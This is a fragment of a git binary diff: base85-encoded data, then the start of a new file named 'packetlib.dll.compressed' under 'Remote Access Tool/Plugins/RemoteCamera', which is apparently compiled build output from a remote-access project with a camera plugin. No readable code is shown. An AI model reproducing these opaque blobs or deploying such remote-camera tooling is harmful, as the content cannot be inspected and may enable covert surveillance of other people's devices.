z8$S@3QD40Yv2w6$>UT_Pdk)DpV4{736e{j-E-{nA|Ib&N9DXSEZ0^C`T}A|Cz#8?GpVooY~k&383H=Z(qNNFk-KuHRC>lop$l}N=g7m5klp3`2HdwuiVx*nG#(Tzps-ey# zy8LQ+TeQdAWcvvv|6=fx7MZ=t8VEI;sWOQjUhT*|k=>GW#Ga!XxmUGoq)LXaDyfpO zyWz+^)5EX2M^cA_0JblaotgS}aQeQG{$+m>pL~gnPQDC3O(v1|mEFjM!dvHeMSD>O zOyXFb&-b6{A911SfRwHhkjhA<(jq6VHhe+_iDmR|BiJ@$ zI+3m*`J(>Ovt-@Z&We#2uN3Wtp+0??2zf#y^aRWHyyJ!@IbviAaIj>Wzjn@3qP{zY z*E^&_7aw4PR{8WE=zelx5>Ja0eu5n?ECOuiGNoT86ym{5>BN=ME})&#YBV6{d$l6> z4!oMrQ2}7$XUWNv0HW@Zb?v0?(U09!B~|hb$2{cTmEB;6;8wopYT-p~RO*k# zDH5-I@=}%_UT8Cb5r1z$B#tuC*7astXnBFDfMZJ|}gp-y^I0}V6U#dm7U!%}(ER|P`(jucZJ|^l17MR#@z>Cx z^R6h2H^CJ+(l740SQl}$~|zi0$P9%f^hvtoE(v=+Jem0=a? z#Nhh5t?(L<(|5A3LdmOp#%PgsO#xf{=qRAxE8_=a^HkQ)D@N~kHML2}nuME6#a1pH>ySGO`lqEICqt4q*U^rJV-N35n{OSP;r63gyFKmzM4xW&9VtKG_~EP_?r6yIQ_{$596OmeSpe6<^b2ek#`<&Vh0Ls5tDF zU&w8L7gp#P)w>*IYGvagomZEdZZ7nR%*~T_<5wSjQa`w zf8oSL2p^501lCH$uCQpYzXUxo(H8a`2p@=70XgZx^PKjMx)xd1$r^ z3J69cO?vuAcfC|lsMZW{N+vOD^_!l4;0+5)XJ@y3mqy~Jv&;J_UIL}+XELY_Yb<)f zwJDm_+S|T;UQfP@zclEQg_dwNvw1EDJ_{3M}z8at8^0CZ(+tNQf(S&lZa;2(VdmGh(M6hF zaePfcxs)>c!!vtaZhm1ClQeXAL>Gza#EdX(B8%_nBH&9R1 zf}WS%<%!Z+DYGB^|u}a?$g!E1^@tgGNN{H*$%c zCrY?v@>WtOQ?ghm*B19OorqeHTA|W!VnwoITBvdgX5-&gLdlDK_9j#-CL*2Kjpe(F5u@~*NkCOrC*{8q<*t0Mq3-;`# zj;!-p!k&!tS=7A8#3@7Y7rdqD>q{q^N5*q<50%lICh%l|C8om^Jh<_BNPa_p9rMTb z!4m;*sDyZEgn^Tix4pZ2`{>7fo|+SJkCI-PA_C+r$|>Sq(i_{!uB2uEoJC>6mZwt} z2vZ$doJDIoqt3%fT8WIt&cl2jv9u|f3EQ8HGZC2svx|K|A1Qazt0a@`hNM!9kGXeN zZqrrD@U%u4#Md+-H(jHdhN}Zg+}u!>DLiRh2?kCcYK$l#v`w&Z z@>u0LG|Dt@ib_;Z((o0j9a|c+h((JxdNGj%w1nh4YXO-~qPn? zV=^#jCO3k*P8#dXO5yo>bM(i{CrUvZFQ4cKtphk-eECG9;X}sdnitzol3ufox}>XB z#`mz=)Bon&jsRrkUO=uZVX>zlxQzq^&lhumP@b+Zz?Ckr7BP*Dc@}8y&+!dC^GT|Y zLBj+!oE+lLB0$L)6DCv#aFwQBToi{0+Z$?N6Yycz0?mWFu3&O?B9U!2-A{6gKZPv* z)RuTup6BP3uIBrnpXWb@0{rwh=pS9v)g&K z3SL|y20=ew+LZkLn((6V?;wCb23g)VHlEy>5eig z)gq9(Wbr)fTZ<&;B=4NRXriqJ@2M`lI``q8Q5J?b^6w9x^=lk<4ZQ&cJ@;Izb01yo z&>|$g`1&S^!X@Gd$kq20W^Lt7VjsBjZu#J-GC6o^4#hc@(P75$w7g42(Fd6Fg!3zB zZQtzE@y;rYk6qDA?~A4FeLF=l`o_T=!&yQ@_9@8?S@w}T#&$e=scVTp0$hu`2JZ}Z zP-ce`*Qn&R{aa0Jm`a70DfUrECS{4e!;JCOGOcdW2BFs2M=sj4&lc?<{nfNdYvdpH z^K^`CKDrCO=q`8an1S2&^Xtm5-)HOx=t_MXI5HRU1L8)T&Z}aZJDpQNb|s3BbD)Kd zpO)GB=gBLPP#~?;bsLa|nY!bi>?l}eKLP5j7n1=m9fL#slbw(TDL25?(Z$XAn~Ojz zC*=Cp(H`scT?XZPFCRGhM>={>%svRl@}>TfO@iFmM9BMJ66fr>@8qngw-hgqW#dy<%_PRtr*LYKRiiQ!e6Te;k|XrG z-OkTKq7B4U)`-K=X8dt$1}nG+kHH9WH5P%oe-vVKN;DQKzkg2G2TqBOcYNc;)x@J! zRWi9Ck-VzsWMWan+;Wpjl+v!11rYS}rA^`AEY7HuMF&;-()SX5Tvh5^h-#NJ?RiwG zGJmPna!!+}ZB0|i_n`)oawx=?PEG?&4{@VyklDB_l8j%uwDHk-_mL-C&ZD9@(Tto& zw5)cbvbrn^eYQS{QXa{@zqv-G`fTe|vj6dgYQ_K|nu64{cj-#i<*C8i96d^!mKhZV zEZVbx#izOf3KZFHeR-5*lH@m#0HCg>t*$}8b0udD)ll-14UU#qT0(&Fx$N(dT3CnZ z?a?Blm@>stpKQV*M>GgbO&14PmoD*-lIJuAlx9m7v2$Wrfd;DC=gv4O&svmEn3V51 z8yss**g;)GqxRvjJCjv10@jjn`ueJ-hxzpe`_-nYx*99d5J9qdG1PLFk(Ozj`OqU0we!nzz?FB@vA3VanXaMo- z*ZXX01>MLdFD^1C_4~L3?d+Nx+HgxAsD`DKTe6Y14<{Z0fRMCDuSFW_wqrY3x`_t?M`3(g{- zWHM43kg+z;0J+SVzRqDsY?7);8}pi?U!})e)g)_ydQ@60nru3}7Oq)XS800P`&w!H z(j)vpUl!I3y>4P>M@e;NDxF;FYqFf}Mk|$L*1M3_Imhenl9BPU_-1#>m^SEu+${U` z?sWeKC4*Rzoj1kzL~sKgIR!qk84+_fefPxZn!CQ9o49E~(4Rkq+&cluH){D@daQj9 zkX+r@0BJw6=Ddk2>^>k_y7!(-(WxRnWFw|C&HX5l@tn!A(`@h}Eo9B#r@bLBB_MZB zm=#L-sCjx}iwUCBlPAJ#dLZE|nD2d{2CcYk?izov|eQ!Y>>6yM!jQLt?1az(2Cc0PeTO zfCV5JV7{^ZIUSiDCd)Tw;yW`i6TwFbQv>QJ;)hiYktv5xyHNKoshpTkI-O;}bNmrQ zm2bA%s^?ZJXW?)cbzJgZRPZ@AAMgdUhj@S94UYu5=^g5M{o^j{dAt-S$rsE`6?@J; zTvl=$W5++{Z}Akmb-w?{fh`|$An+uArZr$k30bv4F~&)%1qncW&~CE}(J``k%SpP$ z@-3dU(8vf}miZ}r?mah;16?`A`K4{7UvNwBGVj*BUsAu$qQ0t-VvHM0?;@WxZ~Gk7oE^Me4BK251LRy?8~_1s zu~H&G)HJ9YnC)GG^ohr>mCQkbherANfL`6e77C+Lv$=w8E8z%3;4#p^#^cKqX_8+D zcdzv(-a&t^wy&fxvgY+|z4{UzZYLDVk3jy=p#apHoE#U_I_1 zi?q(;pFnoElJOr?0e&_X0NUtbBp5V>6a>IumlkWlnostXbX)?9GdDJzapFr zaJO}TRjd=iCC+&qv(JJrGRu=fYt^^88)R9Z{3-!=6hsvfZwgo!pupqXTH<(nQxgU) ztO;ZRkOfN}3s80Oh9aW|Gu_P6qq#HsOG)fAXgjR3!u{$p6vLqAit!F_CegF3i$ROr zNT>qnPuTiLK7b+Xn5ZJ3cJKKY`hj1X{0dO=uPuI*0N5;Pt?&juAZsH8#}SWA;O7{Y za^7?!0|$nMLl=i&R-HEGB+cMw{j$9iOtnEkcm?v4OW*1(-Zv3dF~Xm1yCzV}&y#T& zjkygZl?hX7MQt1|eSoFPd*mOd07iLto)a4c6ivuj|D$)JeAbm!zFg6D7z8;s{+akq zeePtLzzuxBYUPTp%uK25mgs4EYskeOM`hxxIhL{PM`c#wi$2ZGhg9_Pe7z0XvrYPb zRUoul?agOH(P=KJF?2SJp2ZH4drrI-_*z_Dkk$iW9>bo#B!L(+P$j9GQmn$pk1V~FVOA>N70HK&3KoKE~0kIvy9q{*Ku;UFr2l>0k>*A30 z8gwD>RSsfNzI>T*1*7mN4!KOAg}D0%nj;8!Ou$l?F4Fsk0A*(AF2Mp=yJU@w>1xnd zT|be4*NmVodP%t`KmiS=5Y~aDxREItUW*6MIcEP{Zkg#BE!9N2rQ>X2QUnAjpXK|bv#bRu?-gd&aO(2;!*yfEG@7$o>t*JUyW6Ptd1fi4 zm5k>r#z=>BIZ0#EKaQW%)YJZ)3HN!1wFrs-=q{$2yJG4B=)+i>e=+FXW41E<#NV|} zD9d_VZn(+$L+_5<`cI(XF=68$mCVUP2ls`v(Es>HGpUo-W$_;g0GA0Z=X#m4m=?Wk8Pq(?!@V~& zlU~$#|2QYsvq-I=tI6jd;YB7UMyC4%;sWdHrQYWg6P-a|!oOaaVQ*&vZCm0+wPLs(wFhK# zSJ5-%EJd;V?2H`hGS4<>m2;HG5^9}Mq+HK+I%-nmR6#!b>w0K~89rk(5P*!ZH&TbV z1~sY+JN&1Xp;OfoN-crn!I#{+;`}S+fn|&JWSK*Eaz*7_Mc5V zQap0M*SJC_4?o?X75x)$kNx!@;q&37;N@V6@9~x=Utap@m?Y)zQQM(UVi-=dS6T+= zP7LxQ9*i7OLdD)riW%bf@0`u+ZU(r1z8xVh7c{`u?%J;SgtT{+oPhb-D)y*m9n*E< zL=rbT-hr&@EQg*pC(;R!<6GLZx2bcRl1@AJ6X2nLdxQRj`Y9XcDF5*C?&=EtdtxUN zFcW9!dws*zx4?suv|9CG_|5W}Z{82ETi+RSy8Iw%UXtuhS@1`nt;gOxsu<`&Qt#Gm zwa4wny+6Y_IuxDdo@}9flyjTPC6z3EO$(Y_p#=&!*AyMapy=VR31~^l;2bx$@tj0d zL{MQ*noe6lpAkBUl2|dnox)?ax}CyqWwMP|ZL3}uP;I-ojW=pL>@^BK=u4}(ur2Yb z?cKKFL#yy@LqRLWq>8O=Ltd+Ewr6JkYgX5KJ42p|>RM`?AS@;BQSrVL``Y;W zQbY1YJA)U?-sFEG)n^hk_!;TfF}8}^*RXkf+M2>e7q{F)!e>LOHXESpJP79lcD@R>;L63gfeC4H&;KxZ5xBD{Yk zfB~s>>waTJ?@8NgXo@_whb$M{M)7G3-d9~AL5|NeZ|Th+-LuI=wvf?eKGw>B=JmV3YM<${Ii_WyskaDL9{alQ!td9X_epDJa|-E%YHlnf z)@WXxn0go;=A!&1pvukQj`5DDzOG_%2 zUakq>FSwA1y_1~%G(1ti#Mpx>MVZ<1r|Qm=u){lcw8hmp&@6mc~V2CanI=i^-Uqc=59Vjk59R(R1RW?K)Y$o0sW zSI?VrNiUdkWNbppt|V?pZ=uKT0s{|>q(#F*-tJO$=|rQpb0{D?VV1d2MVZFoaQt9BYNBKYvKh zQq2~B1{29pw4$@rc0SUmx8*@aqEozE;_;JHgI*nyp}JLPX>wbX5nnJ{h2EivW#O(% zi+WTGKX<)R;SvR%oY=}=cxO|v*K$7H_QSqcFKjcz8Q1DidVfC`X+PVnJJ_&qE}@Uely`eGZc=78%u;9>+uDd4Qo1w?H?qymI2gVT94 zV9Wr+f;fNDCvCYvhU$I1O5!PSfR#5Ikk8 zxx^0%#cXd+T9AKub@N>CTO{UHsMVT=)taf*qqGU*dCg7U1rGlVD2KmiEpVxi>!!_W zZnj=>`1f6EMjHEOl}rT$r&-LYq)mLOff%^SV0D_HBBb-bTcFoL)4Gg!lLRyNTzWXp z##qzT8Wms1WNIa&4aB6cF&aV|T#8qV9#BUQz^T%z5H276krrXN7xCS=Gid7Fv@?WF zQPs9Gx0T08;<`RRqH}sjQ0>_m!zzTK-tAaNwT-66u!-GcOX!Y1*F~%s^nimFhrWw; z2BRsO5tcBpZ%gZrW^e1;M(0a#Y+1h;cM(vB$sveBzpzCkjJ_v?0gloa!U4zLvgMn> zX^LfJ;e5Hpxbg|3V%fSG-en8fY^X{1moYL zx(4Rx?`8fkWJl_w{{-L{+{BP1|HSP-0NnilEK>yjXH_$##63OqoYkJ({K>fX1-eHx_?bV}^G9sB-e+W)wDb6t>sTU!xI`EASD z|AVjpr{NN}NB^#^a{Y!wKwBMG{TC$uYWz75FaOzgZUN8q+#fD?Q zYtoe{}xu?l=5fwhaH#3?MFAd~rok z1B+HY$PJva%w0m2n>&8=y+3$*^zfku5X-m|nJeGg%-i>@FM?|iHr*Onn_F~fNR(iRt)aJsalT-~Auc=EG1}ZA^Lb;s zrAW_zW=dy;I!b5Xb1X2orOxK$+F3sSQ!#OfJbh#(^H(c}Epnef5{e%FVUpl2=btwi z4IlW0HwEiG z?0<&Kb{*fJ*nFLj`vn`y^}p6n&>E2A_Fr5$|Dk{LAFYsM%Bg|xAoHnxqu@xtGQ~0y`t@tzs9h}*Z?B-wn!7rG*gBDV)Umd+@q*dX^Nf$7@9RZI z=X-rmtE!-ryxF`l64MdK#>KHC(xBn`&4jXpyw2x4%-I=NkuGP98pHkT)W;3JlM>xq z&-Y}lPb0^8`v!D_16$Su880v&oQ^4Ak2+nx9B5rZMCSHcD-=u)b$XfjZWkCsuH=}# z=k^!#)JQ(|T@lNN4Y@mhJ-3e_S{OPESV7GWMPqOAiC$?88l5pW4VM-cGD_t7*2<%3 zej?l~9et5Dg8HaC1^y>Kd6Cin+>3(}H5a#j;?LE}s|&x`K53Brbf)|BkpK7zlS1z7 zZ3f+r0A*i-F)x#0w^IdXA|#oYt06nMVYRpcu{1bP38op@bUDguiX78J=_G?~R^IJ_ zWI+Yrs$_@5UK#F}-`{*%ke^|ClK=WuA5(VWgTjVT>9Dd;aA3SVDn!1fgKg37jGoUi zGTccbD?+?#M)I9xSa7cE;e~i)k~y-d6Jot&5oVMaZoSg*q$bPv;lzzsyWQP~KUVH$ z$oucKhtcGXScz2$w{87gaTHc@bfmgk92CB4F@##beSM&cSOTNWe~`}YS)Fz|%{L8g zUS6PHiM&J=N0N;h*Y03x>RpIcESBJKMp(cmD|MI4h+3(jKeGwsKu|G~Ev3hWJ+>|& z&IoEnW@5-W|HEB0;I$GnI`BG9o*eqq9KRh4_(|MO2sL95P!5bHck9c54@8jzf8(Fr z8;T)!>$fj5jZPa;)_g_*U474Mphv<}&nrjPN&{UjN-sK7)SPo6@>AfccfCs>hXpwp z3qjn|8^`r9>by$;Ir!`-q-bf27n7#$LXRZY8^7}^3Ok2|O0u0W+Z^f`gMa_3h#V|=87dm-- zNK~4^4}Cb3o&j+4YD1%_;fKB+F|?6J9`XgWhh?(9Ue(zdP4y0zsHBThqsil=Sa>#6fTu~Y5)$C4M0A=w1~c|oLI{c{42l#6v{zsymIyQ? zx1wet;AXz=~v)Gz+6s(spA4W8?`St@I0c zCyyxBBB~R`ic4_=KxhK*b;9`+HS?EmA&M1yRia7!(G%j| zN6F);%2MjU2ci?=Utot&@oZp?;k461{nDNjgafId6lM+~;;FD?z-gz3Hs0Y!n@)UG z=Z?ndL74~xH~~)VgO|mmH6^@+TPkUmJzj&C#iosr=EI$068bSN(G=l}J*kU+it=NL;92@eJk#&@*({FfYhR>rGc- z3dC&3Pr~7aXk?*%PxY=aCJB+%%j7@ydhgfG5oz#;@T#04U_1WQY_yHdna}fx(vO^H!@)(d5CdYto(p@Yr0I5_04c3E&NYkE zego=PnMcr$4Q(_YiC@5hgv84d%IXM2t@#0I6?iC50hmpM<+Iq;S`mK5WTVK`DhgF{ zc<&?S$DE*T7N89D#5NyJ*GWyaP!5YlpNCFk(Pl;zj=geoMF9Q5?P=n#%3_8{@Z1y_jVZw4PfPtrUKT*6zbKUefHkdF*g;0N>I04jce| z8f6;-HsV22q(1=tQ$-sRNJ!^XsC*!RD2xV#C&K1h=@71atwaFVjRk}jeDwOE^$+u4X8ukL zPC4$q_{%`O@xudj#1$H6I}7u}OL3kJwNuic^ru2U)6Q{zz7E3*Q;VQKuRa&}S$Qu1 zQ|6TCID`m_3_YbqZox_vJ`EIIVL?z0VHhYK($l&ya?~wA>{IB`Dm+q)N$BbyEn);x zx{?JSW_eM+PwB^(;Os6-BnMIz0~bUC8xI}*s4}p<6N?ta$}>P4;XzC&T)lC&6>J1M zK-2z2xRxRyw7!X~P?=@MCiM4L!Sk;z(IFwEV>3aFC}+KK;ePsW`~8Ks=Gbf)^j^xf z0Bw?*jj#YgbdLoDCd8ByN?@3AjKiIva&dq-TB&nVp z%RPesm0g-@gxM2Zp>c8ktpz-ScqUF#+-I>4p`lR9!s|O7>b%w{@A3 z3_b!@Qcot01;MA!En)}Ga`ps%lu$8G_gJu!LtDQKu-kkHN)m;wu!vZ%@FTEzZo0hf zf-c3~C*is25d;&3mAtBFlm@XegWG@;*J@AyADa)kJub=s2#PkYg8>L?BzgpBb?Rtg zWy1J_8P_pWpm>4dnLkR$J&z=uC_&QQ3OD=~ARfYMF;nsA$q*;8A08(0AVC1NdLCYq z0z=v{%wW5^c_7;f_4Fu5z{2ymOIl!nqsR-LEHp_D-W&ty5F$MQAE~h&jDYXs=s;T0 zx-j4fQ09$?bOM_3iU?v9=(YV+@Ip+o_#{mDNmN>gvlZS2Cs57aRLFJ~k$Wqyh_mag zi+{W5e^VC*&@IZF5eXc0n8a%0FE#YWRr*0N;Cxg|FQFKT2}SCxs3SBKH5WxZV=low z8#4XF-vX0Tx)03{jU-*=D+-oj@+% zDIl5N3dlniAKMjlVAIj;1T#I1AOofXTNB>3h>O6!Rz$zx1r%j5F6aOeMvwB>8)tsH zr`(ASRKQ~VB}KyabP#0@Ly9uNfIXaCb=zN-cn8?e8FizElezD?pmV;Fj==be1IbzW zc@t@+H!eFcTC@)2h_UmbJfZ6GRuFy&D_~<^49P}1Tf1@t(FZHxOm^yinY?amjsvmS z4Ppwx=BfC+kAc*Om1HE-6uko=PR@d*0J&qVRjkFh7T2`{2&FbUh7c^k zs-NP_=ft!H4ZHCDR z?9YsDN}ubQGVy?3WX}$q+@5cDNsg(p*u4e{j6qd9z&-X(6o6fsQW?->l0{(+0P61PG@bE0sb<%mI-xjTUo$y6 z5#(dOc{Nkn^agz4rDrtv{nLo}QPbySgE=Yjrj;+7XLC&ukF$G6<6+XdCgW(;FO;OS zKT?lt?|=<3<5ri+*9ta%UL#T_?iZQ;5pwWO!fRe} zL6sW$PQu8-9kyU5Mz6)iwvqiK?n^RwJbA;&kA-6Pc6+wF=U@drc#H=n=}&>0QH?Ir zSxt6$om;Wke($iNF8|Y-p-ZSp`qw)Di_%-G1y5AV*etk7K}pu5Leb?8rj`&RR8ZqFM#BYbB4@NLFH=seRNae}5OJ>CAX zLI0OZpQ}5AUBGdHIBvd21yPfw9v2vLUex7m+Z#JxPI64v$sN`6NOo5q+rAF@917^p}#nhmRAQBTw9nIR_X5%)i^K%j4&90#2{BZ^>_`J^^D zdv&^uwEdS0`9;x8{@OlC$06}c)uA(sgE$KP-Qwg7N1<=cyi?-Z(4Vr`RD+y$nY!*l zjgQ1BZ8vrUvHh7x=ITvo>YtP++&Jc3 zz{WPnxr`vIYrJcB_iIYJHhO%WfuWt88sV7oZ-|B* zUVry%4t)N~l2L-m!Ini**6vYbRN54}hDIex86+dNs5kz-3G;`V-IL=NHm0_)fwks4 z?U6xFvoF4Du_VBO5ANif5dAW}UY~nUWVbhu$$N=zYN(2JdbS5--X?Fh{ezmNcF&zJ zfG{}bqNfhJeui6s<=SMD{lKMBtq^}PJFE)ZS#_~Ip~#b}6LVq@9~mF;7DuBfJ}$I9 z{2jDdNs{^792b2qI3DBNwyq@f)6?DEBkan!9=hdcG>0;J;yiBx_->a+(c>=F$2?ea zN_hoJ+{qAG+7Nm2;qLt#U2=EtPN^6)A+%^{aa%%!gIGHp(VxQTzy6FtS=nW$=A(=n z4T|Td<3GQI(SQs`eJ>~{Uo*5Re?c%IU+_h|!iN4J0==R2Z`pAoI434v!C7L6;+wcR zZE>`H5*iX0AG>D$SVRAGx9_evor6NV%nw=SrL+E=)r_k7J>&e{7rs9Ah~4f(XD^Nd zQ59DF9I}IC%ymcfd_{N=2YpfMZNKJh#-~YReq1@)1FUV?w>exFC3YQTJ$*#dHx@j( zhWz*;D)r9N*_wA8-UarGwA^mvPK);E$bahNqjHmHPclhOgbVBn&FC9)(EBt2eJdbB zF<_`RZDuj+dy`Y=uD(EdjOr@)a^sc}h)H zu4=}>fd?-_NVGOLmLw=rU8-If82G!0rZ>2Kk`AcfxO1mWZ^W!mud!*~jmZHw$<)$l zbj*P*TB#XT12y{k_J+g`o#ok3_?&OOw>0D9x$Ji;MNC#kvMkL#klXEB1|<1+)1)cfCgi7_)vpfw7ez z7H;!1-AI%ue=V>wVrD1XQp>y!FCSCg?wl8=9R$0IGW=Mgo0v=A-|wf|)Jt+Z|IX20 z@14H}S^4y^Wsj7KsJi%u=-0PgIbilp3mp3-SK-V3)zu%psCA`L)1jc;&j1jjYHltXUhA{ri{O95RzZHR3hhP#3FISLd%Z^j;1H2f5h} zZ3`VIq{mjR(Zb|~+NJih6&pDAOrtve1KgrLh|8ClWd--Z0xFz3UW`envMFYBZkeI?=&h@N_p|z`)S4 zwR=viUDQyQMV$;R0uw3bk%x{;sNev02(H1E1u!pr!%f7hq~GBsnu2XR;%AaYQJiJ=j&os`f8zN{{{g4)9{)SH|p;VMr3SyWZ#AF-wB@L4q8IqkikM9!C4 zjuF|K1wU|*k(!}#bNC9l;x<T5j%TR`Ca9dt=(nwn;Kf6EU;$z%9u|}T} z>JP~z>vTrTrR5U4UP7tqXKf$M=qGyVa-BAHf{@}N+dAOJG9UYWvkB%0*h5HbfF(o+ zD)Yo%i_Rod9`)|w*tNBl9gG#i!?QrC@R#DB3*;RxZ%(@VcUZO8RM+e3AUp(X8ByO@h&WGNi%it%Lq0K1ktX;S zYEygBVqyCE%*AGy&6$n;(#G8ks41bg0#oZ=9_XbQQ`@>YWtP>b%KUyNYys4Iy)TGvntO!W~B;%nHl$duVKd$=Aeg zf~=@6&rv&Ot$b41^qOP!OC{TMCe5SPCWBtXTXFHzePQo1#TDLePu-X^Fy}FF4@r~7 zla={aauLuV!8jXl*BtW1D7%_$x9NLAB_7v4+7eew{Zo^3ME#wP4&89_Y|S0Hrp=Hg zj3W&Z!-q^UnkI9@{9dt!W@OsE&@Wl5x2E{c%-l@}^<;t?MvPo!ShDy&VQ($maq_M3 znYEbsqTk@IJKGQSSUTd*ZG_xstDwaOx&+OV2>EWWs`^?~c)cpeh#Oxh8iu1-JVNMm z61NWyI(pf$&-mQfv{$71g zG8!ZNpL*CxOC@bNsh7Io-t-UY=PeJg{;Az_ld5w9x#rtdp{<+yc1S;~9m(aN&C5yL zxMomVy6Ru%WH9RxoFKI0GsC=+AgO7{WoH&b`oxROx^rtzMQd7e_hC-+ce9@9HVM=F zHskXiT>dg{c*X0jM|p2bYd%dq6Y`NYu#qxd+mS44ZAJ@uMn5AOUk4(N(1h*vNV}C5 zWfVG#?~x+etEWmthre*uOEb4N52V}kQclqB$jm0+X!R*So{a4nXN_m&r|&cD-l`5N_qq9;L8qb`a{6Izz>uTLDxu*_QG7It$Z31M`qPIU8-VXx;;mW$z(u3aY&k$3t8 zoL5_G^7x=cXQlSLlBGGxH&7YSjD>Ra1{16$RlOcZw_YjCKI+FSW2pJ6 ziYwoQHoW}}6Cr~NfBM`dTSF;c8ls+qX*E+{j&I_mK0HtCwTqblGo{FQi~HqmgLQ;? z_f0ZDm02H&WE-bmh>O=$s#S*Lc=H>%(e201$(J*}8nnJo{MuP!+jaiU@eQ`((Qg4M zmiMzV>@3t)V;+w+-aW`ZdnI9m9${aecH!_MY#BEvX^1u@F5sxOUg;5Yww;d!r)e9i zQ6%>@$o$RgYRKd5-4_YPcnWN$8Dp&q?Z<9!TiMN0O4N-rw0kPY(d+ZvCTxTTU-)8I z!MI`y5E~YSbabGJz>_8qZX2jk%d3<|cE{bS?aWu>$FcQ3-BpPJjpaV&Rxht?FbCrg z#wM;P^xS;!2ly)QnkM?rnNirfuAdn7qIip>MVtAvr4u{SD;KFVLKC@Ci-yelA}*%h zRjz+JAzxGUq}nXla_X1G7RSwy5-)cDI2?F^o{c|R}yeC@h^ zqHKe?N{ZSLPqV@O%{|e#d$HP;#>35Y^W{?pa@JGtVq!bi>#T1uxC7r+a(cj(da>3R z>q@q*%Qfa@`=M0|+USXsk73KUL8$n6pYV9F8;@_SGR)MD)4~`hV%GE|{BgvQsn^to z`lJN6$rpW(`UUMNaE0)L_xB?oy{HXav!n<=t@?ECBjaLR_f5`y5b9BZdS7zzGRioa z^V#jgL=R>k>d*qLjHYoqnZl)m2!WmHl&~#6%8SNkf{JZTgjr6vxqWKbbn=WA_IOCQ;mCe1UsB zIEK}<`CMwE+`3{IG$!e#+$KIV;T}xuGHl$L{ljQhA*Fr1`*8+Ccq5@wDyVEGv zCD*G*Q?@Bz;i7O{R%+-%QI2}iBCst!9Bw$rbMhp>SFp(6?}o=f#KgFon-G`X2b}@C zcUhJWbsFSne!?rX*#a{@w5gP5Pw8=~#XCZ0%LFV^n8h(xW;|E59&9)*Ge?ew3L+ym zn+vZdDi?J5*)cV|{qV-VVDX!kIJ}E-_YjsI*>JZI`ts#|!bs^z>6GIn+ZDQ)s*?Dg zyASCtT7N%%r_ZvkBVd&9AnT;3fojM3=6WOSU9!vCZHl7rWXF~5Es1y4 z8Up?`)zN0P#EqT;qs4R4Eu5AWj;5bVTUP78I;|_J=yQ#2pmd$#d^-HrdS-}K zVhJ7aMj7A+FxO-{E$E%Y;kR;mfq%uOxNy1d=HR z5{;L!>Mink?g0PRB3*wMnRv^tYKCis(&@4F5}CDk6YT@B{XHK>Vllp#5zT|%Z(~r2 zImAa*_QXe9Hpwmchm_wj)qMx>XXlfLWoPFd!~`Xk!Ofo>H=L~>e3LA`K~WK`ba{Vf zz%qx%e<&eYCnQm-XYROV#)@msyxF-rWGPa(2G7Y0JW&`*gH&yfk>e zL+yk+cb#X&r0OGjJa4s$Xe737FBN3OUMgiTE9;(_(1^s2WT}-KpQgCZL|caILDlR_ z&$?u}e4R~sx6PT@)5+G7H&hKa0^LJd@uT_%;%al$Zz2a|-|Re(m(gTg?eY#AWR~<4 zD22*j9Uo5#jK3!GZ}MRgYI}D2VBldJtiNUk7C$oPT2kQf`bKIkwTE! z7lEpvkj~@aPqrk7VNG9Nnp9P`4}+VT`{iedj2OB+vZtHftiLkU4L8eu2fKdA;ZWDd zCLSxnV5*^u7j{3QwPiP+&$Z8ImDYDE_MB;|aa{1xb}_u$xL>e^EZF)!Tbyc8CwO>z-Py95;?0v!)yE@T$JpGp?e5cMQW~K+hYV|z3NSS2ril=Lz-(HYL0>Fhv;+$@F-=@~%Mxq4$ym@BqH$!>Q&bmX-B zYV>ZUIFG$N4z8*y)vPjh9;kV{izs<4BZXa=G}+oTdHnL*LFs8#)xeFN?{(o-Ux}T{ zE^n8j7&s>uA44^ERe^7s;QA!E8Ebf3R}}X-FVD(nf%58uEecw~`?3ab3|$8i&j2D$ z3SkGMyAh_(oQq%qrqUFHI)ULABQ-=@U=~A3eYm&fbS{0f`vR$Xg8=#6PRDeqCYRx< z`e6z;TM2ecZm#|*9c|KKiiy|tp(-c+yZ)-yN`tN81-7Srdxo#}LPloZRfLMldMUiH zdfBm^qTx7k#V}TMyumx|SL88SJ5Y(RI6RHDf%EnkZU0p zxrKEu$#ugQqzkTQA763H$LRXu>0jEuqpS8O+TQ$}Qs~?BoGQa6BTn5>Q-&vs-yanG zfn-fhU`u6|;8>|@G&VWwGW}I2w&iKKThC>++b5t%lu)^j%PS<=Sg+go=RwmSJZhGlO@!Iw&`mL4y2ZwY@ zYg>3DK1b`%D_bdNO7ly*=^+S%3%R;GGdi*jQK&G#~bOR^eox4X=sl!I>jwu}?+ led*Cv@l0#bh3VOa&HfFt5`)nd@MWOP!Ii=lW8oFv{{vBMqJjVb literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/RemoteCamera/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..1de34303e18a6ad3dc2586ac5021909e1e009b32 GIT binary patch literal 31377 zcmZs=cT^Kw_^*G?LFFhS(nJa6Nbg7s9aNv!+E>;5s%y!&}Sdy_?0_DnJ@nWV1_3>S{B)`o3_xu1qTrRNrT z`f8lyUF@hZ$-7ac+SA0_UqV=(ef#HOW;M%yAy&^Qsr`*;{M8NMupz&kSpHmjaUQYFey;uTaxpk} z4=cNKxm_pyv+-N2RlobY(9e7pE0)zYyTwW5J!f=ce3lChxb|QFUiIUX&yxj?r?j$( z@?TwdDGTPC*pJra>^`xkv6zeE4>P9-L9->5@~Vl{jj!7nq|9i(P1lq{|)RG#&@)tWISU$pn;@5eA?Pd#qc z(|)r)j#bX6Gj$H7HJ`dK;;c*;H=cxq2!*+(kr`aP+V6(*^7PqeamkLTXbsas<8!5kH8NrT!hTLs{(mPGV|Tai$C zlv;8XSa3+aq$gFihmzrITeJQ1_pJlS~~;Ss9D#tck>ukU?2{mEM8xOmkswd1=+2 z*YFwXWc|F|k6Nvs>oDKAdEOtG{b6QUY*(nF zX<}W?Ge2P*k_0KW+G8v7c}Z^NNW@UCIdHNxu9!zc4ZH80TQrTY z<`iby?9KI2Q>k7nj~P^aAjp_H;NY2tDphipfmo|paFiW^dVa%{p|W2DDGqN>2X2gM zkVPk@TaEND+IW57wRrBPPz6b1Tg;)l2=Yx3kFKXs)j{z3^DZ!!=^JHyd7`T*rJC#Q zLi^GFt*Zez>+j5hh zOJ${JsE12v!+8hp;h@q7FwgYE@3T2guem@;xMCaY6mVFzZUKS^T#C{qGSnd*6J=Ld 